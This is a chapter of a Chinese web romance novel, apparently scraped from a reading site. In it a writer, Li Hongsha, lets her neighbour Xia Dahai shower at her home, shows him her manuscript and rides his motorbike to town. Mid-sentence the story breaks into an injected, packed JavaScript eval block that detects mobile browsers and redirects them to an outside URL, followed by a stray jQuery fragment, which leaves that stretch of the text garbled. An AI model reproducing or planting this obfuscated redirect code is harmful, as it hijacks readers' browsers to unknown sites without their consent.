22. 第 22 章

作品:《如何让我的baby看上我

    “你吃了吗?”


    夏达海一去一回的时间很短,李红砂在卧室里看手机,能听见他在隔壁做饭的响动。


    没听错的话,这个男人做好饭就过来了。


    李红砂看着桌上的饭盒,还是之前那个中号大小的铝制饭盒,打开后里面的饭菜塞得满满当当的。


    泰国香米蒸出来的米饭上,撒了她喜欢的海苔碎。


    一个饭盒不够装,夏达海带了个碗过来,塑胶碗盖下压着青红辣椒炒回锅肉。


    分量多得李红砂都怀疑,刘姨和夏叔在家是不是没菜吃。


    “我做好就过来了,跟之前一样。”夏达海整张被火烤过的脸,始终热热的,不过他皮肤黑,红了也看不太出来。


    以往送饭,送了他就会回家吃饭,不会吃了过来。


    李红砂不好意思借奶奶的关系,老去人家家里串门,刘女士也知道现在年轻人不习惯和大人打交道,也不叫夏达海喊红砂上家里吃饭。


    两家之间达成一个极平衡的默契。


    今天情况特殊,被红砂邀请到她家洗澡,夏达海更不会吃好了过来,他担心红砂等久就后悔了。


    鑫成说女人很是善变,他的女朋友常常说想他了,叫他去靖西看她,但他每次买了票,女朋友又叫他别来了。


    夏达海不觉着红砂会这样善变,但他认为他这个人,容易让红砂善变。


    根源不在李红砂,夏达海只控制自己这个变数。


    李红砂就猜到他没吃,进厨房多洗了双筷子,拿了个碗,招呼他坐下一起吃。


    夏达海心不在焉地过去,在她身边坐下,说不清他现在的想法。


    有点饿,又不像真饿了。


    饭菜跟他上次来一样,大都是被李红砂解决完的。


    夏达海洗碗在想,红砂还是吃得少,身上没二两肉。


    他依旧只敢想想,不敢真说了出来。


    要是被李红砂听见,大概会拿他的《猪与科学》敲他脑袋,她合理怀疑夏达海用养猪的方式投喂她。


    男人最准的直觉,就是对心上人可能会生气的地方的直觉。


    如今挑明了,李红砂对夏达海的态度反而更自然了些。


    洗碗不会跟他抢,夏达海爱做什么做什么,她对夏达海的好感,正好允许她给男人开屏的机会。


    饭后半小时内不能洗澡,李红砂用上次一样的方式,招待夏达海到院里乘凉。


    开了路灯,院落一片亮堂,李红砂不由自主地把视线投在了那棵槐树上。


    夏季的槐树会开得很灿烂。


    不说招阴不招阴那些迷信的话,光是看看,就令人身心舒畅。


    看得清楚也就想得清楚。


    槐树正对卧室青窗。


    她梦魇那天看见的“人影”,应该就是这棵树。


    李红砂幼时到成年,思维一直古怪,不常有人跟得上。


    她坐在躺椅上,仰头将槐树望到顶,心里竟有多余的惭愧。


    得多糟糕的精神状态,连棵树都惨遭她误会。


    夏达海喝了花茶冲淡燥热,感觉身边的小姑娘兀自烦闷起来。


    他不是很懂,胜在有双不瞎的眼睛,见她盯着槐花,就清清嗓说:“这棵槐树开的花总是很多。”


    包头村的槐花从六月底开到七月初,最近是七月的尾巴,村里有槐树的地方,落花少了些。


    只有李家这棵槐树还旺盛着。


    是句和她的想法相差甚远的话,但听夏达海说话,心情就是莫名好转。


    李红砂端起花茶:“它以前也开这么好吗?”


    夏达海想过再点头:“对,又大又多,有些时候吹风,还会落一些到我家院子里。”


    李红砂心情转晴:“这样啊。”


    天色渐渐暗下,最后一点余晖被黑夜吞噬,李家亮灯的浴室响起水声。


    夏达海湿着身子蹲浴房里,翻看李红砂的洗护用品。


    女孩子用的东西果然多。


    光是护发的,就分了护发素、发膜两种。


    跟他的十六合一和那堆尝试过不习惯,就搁置的洗护用品,差别大了去了。


    夏达海稀奇地拿起瓶洗发露朝手心挤了点,鼻子凑上去嗅了嗅。


    洗发水和洗发露的区别,夏达海不清楚,他就觉着李红砂用的东西香。


    具体什么香味儿,他形容不出来。


    夏达海在浴室洗澡,李红砂抱着电脑在堂屋等。


    人被她骗进家里,洗澡的水声比以前偷听到的,更加响亮清楚。


    李红砂双手落在键盘上不快不慢地敲打。


    “她站在休息室门口,不放过从里传来的任何声响。”


    “真相的临近,没有征兆。”


    夏达海给她带来的效果,一次比一次让人惊讶。


    他还没洗完澡,她就已经把想写的剧情,全部捋清写了出来。


    写完后无所事事,李红砂的视线在堂屋里转了圈,停在浴室的木门上发呆。


    不写剧情的时候,李红砂不会在脑中想多复杂的事。


    她盯着木门,只觉得夏达海这个人生中的意外,为她带来的体验很神奇。


    也不怪她之前听见夏达海的表白,感觉不真实,选择了逃避。


    李红砂没算夏达海洗澡的时间,看入神了,浴室的门什么时候打开的都不知道。


    入眼一片腹肌凹凸有致的小腹,李红砂眨了下眼,衣摆落下,遮住了美好的景色。


    “洗完了?”她不紧不慢地抬头,去看夏达海略显不自在的脸。


    夏达海目下心里装着事儿,没捕捉到她在他的腹肌上停留过的那一眼。


    他沉浸在他周身的气息中,紧张了瞬:“洗好了,我是不是洗了很久?”


    李红砂瞥向电脑上的文字:“不久。”


    刚刚好的时间,她写完了,还能独自休息会儿。


    “那就好。”夏达海搬开李红砂身边的凳子坐下,又心虚地把凳子朝旁挪了点。


    他送饭过来之前,去自家浴室看了圈,找去别人家洗澡需要带的东西。


    夏达海看了十六合一良久,又看了搓澡帕良久,最后壮着胆子,除了换洗衣物,别的都不带。


    洗澡前李红砂果然没问,直接帮他拿了新毛巾过来,还同意他用她的洗护用品。


    身上腌入味的薄荷多了一丝柔和的气味。


    夏达海这一天圆满了。


    他心里的想法,李红砂当然不知道。


    她第一次邀请暧昧对象来家里洗澡,各种程序还不熟悉,帮夏达海补齐准备不全的东西,是她的待客之道。


    夏达海不论什么表情,在李红砂眼里都差不多,因为她压根没敢仔细看。


    没管他心不心虚的,李红砂推了电脑过去:“我后面的剧情写好了,要看吗?”


    夏达海还记得她之前给他看的内容。


    精彩的剧情不容易忘记,他不常看书,也会好奇李红砂当时不给看的,后半段内容。


    尽管上次说错话,惹红砂不愉快了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833145|175317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这次再被邀请看她的小说,夏达海也没畏首畏尾的。


    从李红砂手中接过电脑,夏达海认真翻阅起来。


    故事好像快结尾了,紧张刺激的叙述方式逐渐转为悲情,看到她刚写完的地方,夏达海莫名对书中离经叛道的主角产生熟悉:“老板会和女警在一起吗?”


    他背下了李红砂说的“老板的确喜欢女警察”。


    再过几天,这本书就要完结了,李红砂不介意提前告诉夏达海,全部故事线中,最不起眼的感情线结局:“不会。”


    夏达海感觉可惜:“为什么?”


    他问得太简单,单纯的眼神好像只在可惜一对情人无法在一起。


    他看得不够全面,李红砂不怪他。


    结局的走向是落笔前就定下的。


    李红砂沉吟片刻,认真地告诉夏达海就算是小说,也不能改变的现实:“那是单方面的感情,追求正义的警察怎么可能喜欢杀人犯。”


    逻辑没什么不对,剧情该怎么走,都是作者一早敲定好的。


    夏达海无权干涉。


    只是萦绕在心头的那一点遗憾,带来的失落,好长一段时间挥之不去。


    合同寄到管辖包头村的镇上那天,李红砂家里的槐树呈一片翠绿。


    已经不见零零散散的白色小花。


    包头村的小巴车不在赶集的日子,不好等。


    李红砂拜托夏达海送她去镇上的邮局拿快递。


    夏达海“临危受命”,自得其乐。


    鑫成得知老板要送红砂姐去镇上的头一天,就看见老板蹲农家乐外边儿,勤勤恳恳地洗车。


    夏达海开农家乐,对不同的车有不同的需求。


    员工都知道他有两辆车。


    但他放着面包车不洗,专门洗这辆摩托车,就很值得人深思。


    鑫成打赌,老板自己都没摸清他自己那点儿晦暗的心思。


    骑摩托车多好。


    路不平的地方一抖,红砂姐的手就环上去了。


    夏达海还真没想这么多。


    他洗摩托车,是事先问过李红砂对四轮车的感觉,她说她不习惯,只要是四个轮子的,她都容易晕车。


    回村坐过的小巴车更是给她留下了极差的体验。


    骑摩托车也快,这个月正是放暑假的时候,住得近的一些家长,会开车带孩子来包头村度假。


    四个轮子容易堵。


    李红砂认为的,夏达海自己都不知道自己闷着坏,但其实他的那点儿坏心眼,因为他不灵光的脑子,也就那么几个小地方能用。


    取了合同就在邮局签了,直接返回去。


    合同由出版社审核过,几年的信任关系,李红砂不需要再做确认。


    骑车回去路上,李红砂抱着夏达海的腰,眼睛不经意地往旁一瞥,看见包头村的游客们时常谈论的玫瑰田。


    在这么个不说多干净多漂亮,只能算合格之上的旅游村里,猝不及防地瞧见那么大一片,姹紫嫣红的玫瑰田。


    李红砂眼里闪烁着惊艳的光。


    雨后不闷热的阳光笼罩玫瑰,她将侧脸轻贴在夏达海的脊背上,望着金灿灿的玫瑰出神。


    夏达海看着前面笔直的路,紧抿了唇,脊背绷紧。


    李红砂今天才发现,写文的都靠感觉生活,这句话完全正确。


    摩托车带着她朝前开,视野中的玫瑰被一座青山替代。


    她想,这时候夏达海问她,要不要在一起?


    她会同意的。